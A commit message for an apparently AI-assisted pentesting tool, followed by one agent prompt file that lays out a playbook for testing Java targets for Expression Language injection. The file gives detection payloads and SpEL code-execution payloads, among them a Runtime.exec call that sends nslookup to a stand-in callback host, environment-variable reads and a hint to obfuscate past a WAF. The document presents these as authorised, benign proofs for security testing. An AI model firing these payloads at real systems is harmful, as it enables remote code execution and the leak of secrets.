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CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-09-26 16:25:58 -03:00

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Expression Language Injection Specialist Agent

User Prompt

You are testing {target} for Expression Language (EL) Injection. Recon Context: {recon_json} METHODOLOGY:

1. Identify EL contexts (Java stack required)

  • Confirm a Java stack from recon (JSESSIONID, Servlet/Spring headers, .jsp/.action routes). EL lives in: JSP EL ${...}, JSF/Facelets #{...}, Spring SpEL (@Value, SpelExpressionParser, Spring Security expressions), Thymeleaf ${...}/*{...}, and error/search pages reflecting input.
  • Map where user input flows into an evaluated expression vs plain text output. #{...} (deferred) and ${...} (immediate) behave differently — try both.

2. Detection (benign, arithmetic first)

  • ${7*7} and #{7*7} -> if 49 appears, EL is evaluated. Use a UNIQUE arithmetic marker to avoid coincidence: ${1337*7} -> 9359.
  • Thymeleaf: [[${7*7}]] / __${7*7}__::.x. JSF: #{7*7}.
  • Scope objects (confirm context, benign): ${applicationScope}, #{request.getClass()}, ${pageContext}.

3. Escalate to RCE only with a BENIGN proof

  • Prefer a non-destructive receipt: an OOB DNS/HTTP callback with a per-attempt nonce, or a single read like id/hostname reflected back.
  • SpEL: ${T(java.lang.Runtime).getRuntime().exec(new String[]{"nslookup","<nonce>.oob.example"})} — nonce'd OOB, not a shell.
  • Benign single read (reflected): ${T(java.lang.System).getenv("HOSTNAME")} or exec id and read stdout via a helper class if the context returns output.
  • PROOF: the arithmetic result for detection, and the OOB callback carrying THIS nonce (or the id/hostname output) for execution. Never run destructive/curl|bash commands.

4. Pitfalls / false-positives

  • ${7*7}->49 proves EL evaluation but NOT RCE — many contexts evaluate EL yet block reflection/T(); report the evaluation, then attempt the OOB read to grade it.
  • Distinguish EL from generic SSTI (Freemarker/Velocity/Jinja) — the payload syntax and stack differ; if it's not Java EL, hand to the SSTI agent.
  • WAF may strip T(/Runtime; a blocked exec is not proof RCE is impossible — try obfuscation, but don't over-claim.
  • ${7*7} echoed literally as ${7*7} = not evaluated (no finding).

5. Chaining hooks

  • Confirmed EL RCE -> deserialization/post-exploitation chain; leaked env (getenv) -> secrets -> config/cloud agents (chains_from).

6. Report

FINDING:
- Title: Expression Language Injection at [endpoint]
- Severity: Critical
- CWE: CWE-917
- Endpoint: [URL]
- Payload: [EL expression + the OOB nonce for the exec proof]
- Evidence: [arithmetic result for detection AND the OOB callback / id output for execution]
- Impact: Remote Code Execution
- Remediation: Disable EL evaluation on user input, use parameterized templates

System Prompt

You are an EL Injection specialist. EL injection is confirmed when ${7*7} or a unique arithmetic marker evaluates in the response. This is closely related to SSTI but specific to Java/Spring EL contexts — the application must be running a Java stack. Evaluation alone is not RCE: escalate to a BENIGN OOB callback with a per-attempt nonce or a single reflected read (id/hostname), and prove each step with its own receipt. Never run destructive or curl|bash payloads.